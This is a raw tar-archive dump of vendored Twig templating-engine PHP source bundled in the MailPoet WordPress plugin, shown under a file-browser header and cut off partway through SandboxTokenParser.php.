| Current Path : /home/bechata/mp/wp-content/uploads/2022/ejn73c/ |
| Current File : /home/bechata/mp/wp-content/uploads/2022/ejn73c/twig.tar |
twig/index.php 0000666 00000000000 15035120623 0007325 0 ustar 00 twig/lib/index.php 0000666 00000000000 15035120623 0010073 0 ustar 00 twig/src/Compiler.php 0000666 00000005715 15035120623 0010601 0 ustar 00 <?php
namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Node; class Compiler { private $lastLine; private $source; private $indentation; private $env; private $debugInfo = []; private $sourceOffset; private $sourceLine; private $varNameSalt = 0; public function __construct(\MailPoetVendor\Twig\Environment $env) { $this->env = $env; } public function getEnvironment() { return $this->env; } public function getSource() { return $this->source; } public function compile(\MailPoetVendor\Twig\Node\Node $node, $indentation = 0) { $this->lastLine = null; $this->source = ''; $this->debugInfo = []; $this->sourceOffset = 0; $this->sourceLine = 1; $this->indentation = $indentation; $this->varNameSalt = 0; $node->compile($this); return $this; } public function subcompile(\MailPoetVendor\Twig\Node\Node $node, $raw = \true) { if (\false === $raw) { $this->source .= \str_repeat(' ', $this->indentation * 4); } $node->compile($this); return $this; } public function raw($string) { $this->source .= $string; return $this; } public function write(...$strings) { foreach ($strings as $string) { $this->source .= \str_repeat(' ', $this->indentation * 4) . $string; } return $this; } public function string($value) { $this->source .= \sprintf('"%s"', \addcslashes($value, "\0\t\"\$\\")); return $this; } public function repr($value) { if (\is_int($value) || \is_float($value)) { if (\false !== ($locale = \setlocale(\LC_NUMERIC, '0'))) { \setlocale(\LC_NUMERIC, 'C'); } $this->raw(\var_export($value, \true)); if (\false !== $locale) { \setlocale(\LC_NUMERIC, $locale); } } elseif (null === $value) { $this->raw('null'); } elseif (\is_bool($value)) { $this->raw($value ? 'true' : 'false'); } elseif (\is_array($value)) { $this->raw('array('); $first = \true; foreach ($value as $key => $v) { if (!$first) { $this->raw(', '); } $first = \false; $this->repr($key); $this->raw(' => '); $this->repr($v); } $this->raw(')'); } else { $this->string($value); } return $this; } public function addDebugInfo(\MailPoetVendor\Twig\Node\Node $node) { if ($node->getTemplateLine() != $this->lastLine) { $this->write(\sprintf("// line %d\n", $node->getTemplateLine())); $this->sourceLine += \substr_count($this->source, "\n", $this->sourceOffset); $this->sourceOffset = \strlen($this->source); $this->debugInfo[$this->sourceLine] = $node->getTemplateLine(); $this->lastLine = $node->getTemplateLine(); } return $this; } public function getDebugInfo() { \ksort($this->debugInfo); return $this->debugInfo; } public function indent($step = 1) { $this->indentation += $step; return $this; } public function outdent($step = 1) { if ($this->indentation < $step) { throw new \LogicException('Unable to call outdent() as the indentation would become negative.'); } $this->indentation -= $step; return $this; } public function getVarName() { return \sprintf('__internal_%s', \hash('sha256', __METHOD__ . $this->varNameSalt++)); } } \class_alias('MailPoetVendor\\Twig\\Compiler', 'MailPoetVendor\\Twig_Compiler'); twig/src/TemplateWrapper.php 0000666 00000003206 15035120623 0012134 0 ustar 00 <?php
namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; final class TemplateWrapper { private $env; private $template; public function __construct(\MailPoetVendor\Twig\Environment $env, \MailPoetVendor\Twig\Template $template) { $this->env = $env; $this->template = $template; } public function render(array $context = []) : string { return $this->template->render($context, \func_get_args()[1] ?? []); } public function display(array $context = []) { $this->template->display($context, \func_get_args()[1] ?? []); } public function hasBlock(string $name, array $context = []) : bool { return $this->template->hasBlock($name, $context); } public function getBlockNames(array $context = []) : array { return $this->template->getBlockNames($context); } public function renderBlock(string $name, array $context = []) : string { $context = $this->env->mergeGlobals($context); $level = \ob_get_level(); if ($this->env->isDebug()) { \ob_start(); } else { \ob_start(function () { return ''; }); } try { $this->template->displayBlock($name, $context); } catch (\Throwable $e) { while (\ob_get_level() > $level) { \ob_end_clean(); } throw $e; } return \ob_get_clean(); } public function displayBlock(string $name, array $context = []) { $this->template->displayBlock($name, $this->env->mergeGlobals($context)); } public function getSourceContext() : \MailPoetVendor\Twig\Source { return $this->template->getSourceContext(); } public function getTemplateName() : string { return $this->template->getTemplateName(); } public function unwrap() { return $this->template; } } \class_alias('MailPoetVendor\\Twig\\TemplateWrapper', 'MailPoetVendor\\Twig_TemplateWrapper'); twig/src/Parser.php 0000666 00000023066 15035120623 0010262 0 ustar 00 <?php
namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\BlockNode; use MailPoetVendor\Twig\Node\BlockReferenceNode; use MailPoetVendor\Twig\Node\BodyNode; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\MacroNode; use MailPoetVendor\Twig\Node\ModuleNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Node\NodeCaptureInterface; use MailPoetVendor\Twig\Node\NodeOutputInterface; use MailPoetVendor\Twig\Node\PrintNode; use MailPoetVendor\Twig\Node\SpacelessNode; use MailPoetVendor\Twig\Node\TextNode; use MailPoetVendor\Twig\TokenParser\TokenParserInterface; class Parser { private $stack = []; private $stream; private $parent; private $handlers; private $visitors; private $expressionParser; private $blocks; private $blockStack; private $macros; private $env; private $importedSymbols; private $traits; private $embeddedTemplates = []; private $varNameSalt = 0; public function __construct(\MailPoetVendor\Twig\Environment $env) { $this->env = $env; } public function getVarName() { return \sprintf('__internal_%s', \hash('sha256', __METHOD__ . $this->stream->getSourceContext()->getCode() . $this->varNameSalt++)); } public function parse(\MailPoetVendor\Twig\TokenStream $stream, $test = null, $dropNeedle = \false) { $vars = \get_object_vars($this); unset($vars['stack'], $vars['env'], $vars['handlers'], $vars['visitors'], $vars['expressionParser'], $vars['reservedMacroNames']); $this->stack[] = $vars; if (null === $this->handlers) { $this->handlers = []; foreach ($this->env->getTokenParsers() as $handler) { $handler->setParser($this); $this->handlers[$handler->getTag()] = $handler; } } if (null === $this->visitors) { $this->visitors = $this->env->getNodeVisitors(); } if (null === $this->expressionParser) { $this->expressionParser = new \MailPoetVendor\Twig\ExpressionParser($this, $this->env); } $this->stream = $stream; $this->parent = null; $this->blocks = []; $this->macros = []; $this->traits = []; $this->blockStack = []; $this->importedSymbols = [[]]; $this->embeddedTemplates = []; $this->varNameSalt = 0; try { $body = $this->subparse($test, $dropNeedle); if (null !== $this->parent && null === ($body = $this->filterBodyNodes($body))) { $body = new \MailPoetVendor\Twig\Node\Node(); } } catch (\MailPoetVendor\Twig\Error\SyntaxError $e) { if (!$e->getSourceContext()) { $e->setSourceContext($this->stream->getSourceContext()); } if (!$e->getTemplateLine()) { $e->setTemplateLine($this->stream->getCurrent()->getLine()); } throw $e; } $node = new \MailPoetVendor\Twig\Node\ModuleNode(new \MailPoetVendor\Twig\Node\BodyNode([$body]), $this->parent, new \MailPoetVendor\Twig\Node\Node($this->blocks), new \MailPoetVendor\Twig\Node\Node($this->macros), new \MailPoetVendor\Twig\Node\Node($this->traits), $this->embeddedTemplates, $stream->getSourceContext()); $traverser = new \MailPoetVendor\Twig\NodeTraverser($this->env, $this->visitors); $node = $traverser->traverse($node); foreach (\array_pop($this->stack) as $key => $val) { $this->{$key} = $val; } return $node; } public function subparse($test, $dropNeedle = \false) { $lineno = $this->getCurrentToken()->getLine(); $rv = []; while (!$this->stream->isEOF()) { switch ($this->getCurrentToken()->getType()) { case 0: $token = $this->stream->next(); $rv[] = new \MailPoetVendor\Twig\Node\TextNode($token->getValue(), $token->getLine()); break; case 2: $token = $this->stream->next(); $expr = $this->expressionParser->parseExpression(); $this->stream->expect( 4 ); $rv[] = new \MailPoetVendor\Twig\Node\PrintNode($expr, $token->getLine()); break; case 1: $this->stream->next(); $token = $this->getCurrentToken(); if (5 !== $token->getType()) { throw new \MailPoetVendor\Twig\Error\SyntaxError('A block must start with a tag name.', $token->getLine(), $this->stream->getSourceContext()); } if (null !== $test && $test($token)) { if ($dropNeedle) { $this->stream->next(); } if (1 === \count($rv)) { return $rv[0]; } return new \MailPoetVendor\Twig\Node\Node($rv, [], $lineno); } if (!isset($this->handlers[$token->getValue()])) { if (null !== $test) { $e = new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unexpected "%s" tag', $token->getValue()), $token->getLine(), $this->stream->getSourceContext()); if (\is_array($test) && isset($test[0]) && $test[0] instanceof \MailPoetVendor\Twig\TokenParser\TokenParserInterface) { $e->appendMessage(\sprintf(' (expecting closing tag for the "%s" tag defined near line %s).', $test[0]->getTag(), $lineno)); } } else { $e = new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unknown "%s" tag.', $token->getValue()), $token->getLine(), $this->stream->getSourceContext()); $e->addSuggestions($token->getValue(), \array_keys($this->env->getTags())); } throw $e; } $this->stream->next(); $subparser = $this->handlers[$token->getValue()]; $node = $subparser->parse($token); if (null !== $node) { $rv[] = $node; } break; default: throw new \MailPoetVendor\Twig\Error\SyntaxError('Lexer or parser ended up in unsupported state.', $this->getCurrentToken()->getLine(), $this->stream->getSourceContext()); } } if (1 === \count($rv)) { return $rv[0]; } return new \MailPoetVendor\Twig\Node\Node($rv, [], $lineno); } public function getBlockStack() { return $this->blockStack; } public function peekBlockStack() { return isset($this->blockStack[\count($this->blockStack) - 1]) ? $this->blockStack[\count($this->blockStack) - 1] : null; } public function popBlockStack() { \array_pop($this->blockStack); } public function pushBlockStack($name) { $this->blockStack[] = $name; } public function hasBlock($name) { return isset($this->blocks[$name]); } public function getBlock($name) { return $this->blocks[$name]; } public function setBlock($name, \MailPoetVendor\Twig\Node\BlockNode $value) { $this->blocks[$name] = new \MailPoetVendor\Twig\Node\BodyNode([$value], [], $value->getTemplateLine()); } public function hasMacro($name) { return isset($this->macros[$name]); } public function setMacro($name, \MailPoetVendor\Twig\Node\MacroNode $node) { $this->macros[$name] = $node; } public function isReservedMacroName($name) { @\trigger_error(\sprintf('The "%s" method is deprecated since Twig 2.7 and will be removed in 3.0.', __METHOD__), \E_USER_DEPRECATED); return \false; } public function addTrait($trait) { $this->traits[] = $trait; } public function hasTraits() { return \count($this->traits) > 0; } public function embedTemplate(\MailPoetVendor\Twig\Node\ModuleNode $template) { $template->setIndex(\mt_rand()); $this->embeddedTemplates[] = $template; } public function addImportedSymbol($type, $alias, $name = null, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $node = null) { $this->importedSymbols[0][$type][$alias] = ['name' => $name, 'node' => $node]; } public function getImportedSymbol($type, $alias) { return $this->importedSymbols[0][$type][$alias] ?? $this->importedSymbols[\count($this->importedSymbols) - 1][$type][$alias] ?? null; } public function isMainScope() { return 1 === \count($this->importedSymbols); } public function pushLocalScope() { \array_unshift($this->importedSymbols, []); } public function popLocalScope() { \array_shift($this->importedSymbols); } public function getExpressionParser() { return $this->expressionParser; } public function getParent() { return $this->parent; } public function setParent($parent) { $this->parent = $parent; } public function getStream() { return $this->stream; } public function getCurrentToken() { return $this->stream->getCurrent(); } private function filterBodyNodes(\MailPoetVendor\Twig\Node\Node $node, bool $nested = \false) { if ($node instanceof \MailPoetVendor\Twig\Node\TextNode && !\ctype_space($node->getAttribute('data')) || !$node instanceof \MailPoetVendor\Twig\Node\TextNode && !$node instanceof \MailPoetVendor\Twig\Node\BlockReferenceNode && ($node instanceof \MailPoetVendor\Twig\Node\NodeOutputInterface && !$node instanceof \MailPoetVendor\Twig\Node\SpacelessNode)) { if (\false !== \strpos((string) $node, \chr(0xef) . \chr(0xbb) . \chr(0xbf))) { $t = \substr($node->getAttribute('data'), 3); if ('' === $t || \ctype_space($t)) { return; } } throw new \MailPoetVendor\Twig\Error\SyntaxError('A template that extends another one cannot include content outside Twig blocks. Did you forget to put the content inside a {% block %} tag?', $node->getTemplateLine(), $this->stream->getSourceContext()); } if ($node instanceof \MailPoetVendor\Twig\Node\NodeCaptureInterface) { return $node; } if (!$nested && $node instanceof \MailPoetVendor\Twig\Node\SpacelessNode) { @\trigger_error(\sprintf('Using the spaceless tag at the root level of a child template in "%s" at line %d is deprecated since Twig 2.5.0 and will become a syntax error in 3.0.', $this->stream->getSourceContext()->getName(), $node->getTemplateLine()), \E_USER_DEPRECATED); } if ($nested && ($node instanceof \MailPoetVendor\Twig\Node\BlockReferenceNode || $node instanceof \MailPoetVendor\Twig_Node_BlockReference)) { @\trigger_error(\sprintf('Nesting a block definition under a non-capturing node in "%s" at line %d is deprecated since Twig 2.5.0 and will become a syntax error in 3.0.', $this->stream->getSourceContext()->getName(), $node->getTemplateLine()), \E_USER_DEPRECATED); return; } if ($node instanceof \MailPoetVendor\Twig\Node\NodeOutputInterface && !$node instanceof \MailPoetVendor\Twig\Node\SpacelessNode) { return; } $nested = $nested || 'Twig_Node' !== \get_class($node) && \MailPoetVendor\Twig\Node\Node::class !== \get_class($node); foreach ($node as $k => $n) { if (null !== $n && null === $this->filterBodyNodes($n, $nested)) { $node->removeNode($k); } } return $node; } } \class_alias('MailPoetVendor\\Twig\\Parser', 'MailPoetVendor\\Twig_Parser'); twig/src/Markup.php 0000666 00000001045 15035120623 0010256 0 ustar 00 <?php
namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; class Markup implements \Countable, \JsonSerializable { private $content; private $charset; public function __construct($content, $charset) { $this->content = (string) $content; $this->charset = $charset; } public function __toString() { return $this->content; } public function count() { return \mb_strlen($this->content, $this->charset); } public function jsonSerialize() { return $this->content; } } \class_alias('MailPoetVendor\\Twig\\Markup', 'MailPoetVendor\\Twig_Markup'); twig/src/TwigFunction.php 0000666 00000004164 15035120623 0011444 0 ustar 00 <?php
namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Expression\FunctionExpression; use MailPoetVendor\Twig\Node\Node; class TwigFunction { private $name; private $callable; private $options; private $arguments = []; public function __construct(string $name, $callable = null, array $options = []) { if (__CLASS__ !== \get_class($this)) { @\trigger_error('Overriding ' . __CLASS__ . ' is deprecated since Twig 2.4.0 and the class will be final in 3.0.', \E_USER_DEPRECATED); } $this->name = $name; $this->callable = $callable; $this->options = \array_merge(['needs_environment' => \false, 'needs_context' => \false, 'is_variadic' => \false, 'is_safe' => null, 'is_safe_callback' => null, 'node_class' => \MailPoetVendor\Twig\Node\Expression\FunctionExpression::class, 'deprecated' => \false, 'alternative' => null], $options); } public function getName() { return $this->name; } public function getCallable() { return $this->callable; } public function getNodeClass() { return $this->options['node_class']; } public function setArguments($arguments) { $this->arguments = $arguments; } public function getArguments() { return $this->arguments; } public function needsEnvironment() { return $this->options['needs_environment']; } public function needsContext() { return $this->options['needs_context']; } public function getSafe(\MailPoetVendor\Twig\Node\Node $functionArgs) { if (null !== $this->options['is_safe']) { return $this->options['is_safe']; } if (null !== $this->options['is_safe_callback']) { return $this->options['is_safe_callback']($functionArgs); } return []; } public function isVariadic() { return $this->options['is_variadic']; } public function isDeprecated() { return (bool) $this->options['deprecated']; } public function getDeprecatedVersion() { return $this->options['deprecated']; } public function getAlternative() { return $this->options['alternative']; } } \class_alias('MailPoetVendor\\Twig\\TwigFunction', 'MailPoetVendor\\Twig_SimpleFunction', \false); \class_alias('MailPoetVendor\\Twig\\TwigFunction', 'MailPoetVendor\\Twig_Function'); \class_exists('MailPoetVendor\\Twig\\Node\\Node'); twig/src/TokenParser/IncludeTokenParser.php 0000666 00000002245 15035120623 0015020 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\IncludeNode; use MailPoetVendor\Twig\Token; class IncludeTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $expr = $this->parser->getExpressionParser()->parseExpression(); list($variables, $only, $ignoreMissing) = $this->parseArguments(); return new \MailPoetVendor\Twig\Node\IncludeNode($expr, $variables, $only, $ignoreMissing, $token->getLine(), $this->getTag()); } protected function parseArguments() { $stream = $this->parser->getStream(); $ignoreMissing = \false; if ($stream->nextIf( 5, 'ignore' )) { $stream->expect( 5, 'missing' ); $ignoreMissing = \true; } $variables = null; if ($stream->nextIf( 5, 'with' )) { $variables = $this->parser->getExpressionParser()->parseExpression(); } $only = \false; if ($stream->nextIf( 5, 'only' )) { $only = \true; } $stream->expect( 3 ); return [$variables, $only, $ignoreMissing]; } public function getTag() { return 'include'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\IncludeTokenParser', 'MailPoetVendor\\Twig_TokenParser_Include'); twig/src/TokenParser/AbstractTokenParser.php 0000666 00000000664 15035120623 0015203 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Parser; abstract class AbstractTokenParser implements \MailPoetVendor\Twig\TokenParser\TokenParserInterface { protected $parser; public function setParser(\MailPoetVendor\Twig\Parser $parser) { $this->parser = $parser; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\AbstractTokenParser', 'MailPoetVendor\\Twig_TokenParser'); twig/src/TokenParser/SpacelessTokenParser.php 0000666 00000002074 15035120623 0015357 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\SpacelessNode; use MailPoetVendor\Twig\Token; final class SpacelessTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $stream = $this->parser->getStream(); $lineno = $token->getLine(); @\trigger_error(\sprintf('The spaceless tag in "%s" at line %d is deprecated since Twig 2.7, use the "spaceless" filter with the "apply" tag instead.', $stream->getSourceContext()->getName(), $lineno), \E_USER_DEPRECATED); $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideSpacelessEnd'], \true); $stream->expect( 3 ); return new \MailPoetVendor\Twig\Node\SpacelessNode($body, $lineno, $this->getTag()); } public function decideSpacelessEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endspaceless'); } public function getTag() { return 'spaceless'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\SpacelessTokenParser', 'MailPoetVendor\\Twig_TokenParser_Spaceless'); twig/src/TokenParser/TokenParserInterface.php 0000666 00000001150 15035120623 0015327 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Parser; use MailPoetVendor\Twig\Token; interface TokenParserInterface { public function setParser(\MailPoetVendor\Twig\Parser $parser); public function parse(\MailPoetVendor\Twig\Token $token); public function getTag(); } \class_alias('MailPoetVendor\\Twig\\TokenParser\\TokenParserInterface', 'MailPoetVendor\\Twig_TokenParserInterface'); \class_exists('MailPoetVendor\\Twig\\Token'); \class_exists('MailPoetVendor\\Twig\\Parser'); twig/src/TokenParser/ForTokenParser.php 0000666 00000010522 15035120623 0014160 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\Expression\AssignNameExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\GetAttrExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Node\ForNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Token; use MailPoetVendor\Twig\TokenStream; final class ForTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $stream = $this->parser->getStream(); $targets = $this->parser->getExpressionParser()->parseAssignmentExpression(); $stream->expect( 8, 'in' ); $seq = $this->parser->getExpressionParser()->parseExpression(); $ifexpr = null; if ($stream->nextIf( 5, 'if' )) { @\trigger_error(\sprintf('Using an "if" condition on "for" tag in "%s" at line %d is deprecated since Twig 2.10.0, use a "filter" filter or an "if" condition inside the "for" body instead (if your condition depends on a variable updated inside the loop).', $stream->getSourceContext()->getName(), $lineno), \E_USER_DEPRECATED); $ifexpr = $this->parser->getExpressionParser()->parseExpression(); } $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideForFork']); if ('else' == $stream->next()->getValue()) { $stream->expect( 3 ); $else = $this->parser->subparse([$this, 'decideForEnd'], \true); } else { $else = null; } $stream->expect( 3 ); if (\count($targets) > 1) { $keyTarget = $targets->getNode(0); $keyTarget = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($keyTarget->getAttribute('name'), $keyTarget->getTemplateLine()); $valueTarget = $targets->getNode(1); $valueTarget = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($valueTarget->getAttribute('name'), $valueTarget->getTemplateLine()); } else { $keyTarget = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression('_key', $lineno); $valueTarget = $targets->getNode(0); $valueTarget = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($valueTarget->getAttribute('name'), $valueTarget->getTemplateLine()); } if ($ifexpr) { $this->checkLoopUsageCondition($stream, $ifexpr); $this->checkLoopUsageBody($stream, $body); } return new \MailPoetVendor\Twig\Node\ForNode($keyTarget, $valueTarget, $seq, $ifexpr, $body, $else, $lineno, $this->getTag()); } public function decideForFork(\MailPoetVendor\Twig\Token $token) { return $token->test(['else', 'endfor']); } public function decideForEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endfor'); } private function checkLoopUsageCondition(\MailPoetVendor\Twig\TokenStream $stream, \MailPoetVendor\Twig\Node\Node $node) { if ($node instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression && $node->getNode('node') instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression && 'loop' == $node->getNode('node')->getAttribute('name')) { throw new \MailPoetVendor\Twig\Error\SyntaxError('The "loop" variable cannot be used in a looping condition.', $node->getTemplateLine(), $stream->getSourceContext()); } foreach ($node as $n) { if (!$n) { continue; } $this->checkLoopUsageCondition($stream, $n); } } private function checkLoopUsageBody(\MailPoetVendor\Twig\TokenStream $stream, \MailPoetVendor\Twig\Node\Node $node) { if ($node instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression && $node->getNode('node') instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression && 'loop' == $node->getNode('node')->getAttribute('name')) { $attribute = $node->getNode('attribute'); if ($attribute instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression && \in_array($attribute->getAttribute('value'), ['length', 'revindex0', 'revindex', 'last'])) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('The "loop.%s" variable is not defined when looping with a condition.', $attribute->getAttribute('value')), $node->getTemplateLine(), $stream->getSourceContext()); } } if ($node instanceof \MailPoetVendor\Twig\Node\ForNode) { return; } foreach ($node as $n) { if (!$n) { continue; } $this->checkLoopUsageBody($stream, $n); } } public function getTag() { return 'for'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\ForTokenParser', 'MailPoetVendor\\Twig_TokenParser_For'); twig/src/TokenParser/FromTokenParser.php 0000666 00000002424 15035120623 0014337 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Expression\AssignNameExpression; use MailPoetVendor\Twig\Node\ImportNode; use MailPoetVendor\Twig\Token; final class FromTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $macro = $this->parser->getExpressionParser()->parseExpression(); $stream = $this->parser->getStream(); $stream->expect( 5, 'import' ); $targets = []; do { $name = $stream->expect( 5 )->getValue(); $alias = $name; if ($stream->nextIf('as')) { $alias = $stream->expect( 5 )->getValue(); } $targets[$name] = $alias; if (!$stream->nextIf( 9, ',' )) { break; } } while (\true); $stream->expect( 3 ); $var = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($this->parser->getVarName(), $token->getLine()); $node = new \MailPoetVendor\Twig\Node\ImportNode($macro, $var, $token->getLine(), $this->getTag(), $this->parser->isMainScope()); foreach ($targets as $name => $alias) { $this->parser->addImportedSymbol('function', $alias, 'macro_' . $name, $var); } return $node; } public function getTag() { return 'from'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\FromTokenParser', 'MailPoetVendor\\Twig_TokenParser_From'); twig/src/TokenParser/AutoEscapeTokenParser.php 0000666 00000002540 15035120623 0015464 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\AutoEscapeNode; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Token; final class AutoEscapeTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $stream = $this->parser->getStream(); if ($stream->test( 3 )) { $value = 'html'; } else { $expr = $this->parser->getExpressionParser()->parseExpression(); if (!$expr instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { throw new \MailPoetVendor\Twig\Error\SyntaxError('An escaping strategy must be a string or false.', $stream->getCurrent()->getLine(), $stream->getSourceContext()); } $value = $expr->getAttribute('value'); } $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideBlockEnd'], \true); $stream->expect( 3 ); return new \MailPoetVendor\Twig\Node\AutoEscapeNode($value, $body, $lineno, $this->getTag()); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endautoescape'); } public function getTag() { return 'autoescape'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\AutoEscapeTokenParser', 'MailPoetVendor\\Twig_TokenParser_AutoEscape'); twig/src/TokenParser/DeprecatedTokenParser.php 0000666 00000001323 15035120623 0015471 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\DeprecatedNode; use MailPoetVendor\Twig\Token; class DeprecatedTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $expr = $this->parser->getExpressionParser()->parseExpression(); $this->parser->getStream()->expect(\MailPoetVendor\Twig\Token::BLOCK_END_TYPE); return new \MailPoetVendor\Twig\Node\DeprecatedNode($expr, $token->getLine(), $this->getTag()); } public function getTag() { return 'deprecated'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\DeprecatedTokenParser', 'MailPoetVendor\\Twig_TokenParser_Deprecated'); twig/src/TokenParser/BlockTokenParser.php 0000666 00000004034 15035120623 0014465 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\BlockNode; use MailPoetVendor\Twig\Node\BlockReferenceNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Node\PrintNode; use MailPoetVendor\Twig\Token; final class BlockTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $stream = $this->parser->getStream(); $name = $stream->expect( 5 )->getValue(); if ($this->parser->hasBlock($name)) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf("The block '%s' has already been defined line %d.", $name, $this->parser->getBlock($name)->getTemplateLine()), $stream->getCurrent()->getLine(), $stream->getSourceContext()); } $this->parser->setBlock($name, $block = new \MailPoetVendor\Twig\Node\BlockNode($name, new \MailPoetVendor\Twig\Node\Node([]), $lineno)); $this->parser->pushLocalScope(); $this->parser->pushBlockStack($name); if ($stream->nextIf( 3 )) { $body = $this->parser->subparse([$this, 'decideBlockEnd'], \true); if ($token = $stream->nextIf( 5 )) { $value = $token->getValue(); if ($value != $name) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Expected endblock for block "%s" (but "%s" given).', $name, $value), $stream->getCurrent()->getLine(), $stream->getSourceContext()); } } } else { $body = new \MailPoetVendor\Twig\Node\Node([new \MailPoetVendor\Twig\Node\PrintNode($this->parser->getExpressionParser()->parseExpression(), $lineno)]); } $stream->expect( 3 ); $block->setNode('body', $body); $this->parser->popBlockStack(); $this->parser->popLocalScope(); return new \MailPoetVendor\Twig\Node\BlockReferenceNode($name, $lineno, $this->getTag()); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endblock'); } public function getTag() { return 'block'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\BlockTokenParser', 'MailPoetVendor\\Twig_TokenParser_Block'); twig/src/TokenParser/SandboxTokenParser.php 0000666 00000002553 15035120623 0015035 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\IncludeNode; use MailPoetVendor\Twig\Node\SandboxNode; use MailPoetVendor\Twig\Node\TextNode; use MailPoetVendor\Twig\Token; final class SandboxTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $stream = $this->parser->getStream(); $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideBlockEnd'], \true); $stream->expect( 3 ); if (!$body instanceof \MailPoetVendor\Twig\Node\IncludeNode) { foreach ($body as $node) { if ($node instanceof \MailPoetVendor\Twig\Node\TextNode && \ctype_space($node->getAttribute('data'))) { continue; } if (!$node instanceof \MailPoetVendor\Twig\Node\IncludeNode) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Only "include" tags are allowed within a "sandbox" section.', $node->getTemplateLine(), $stream->getSourceContext()); } } } return new \MailPoetVendor\Twig\Node\SandboxNode($body, $token->getLine(), $this->getTag()); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endsandbox'); } public 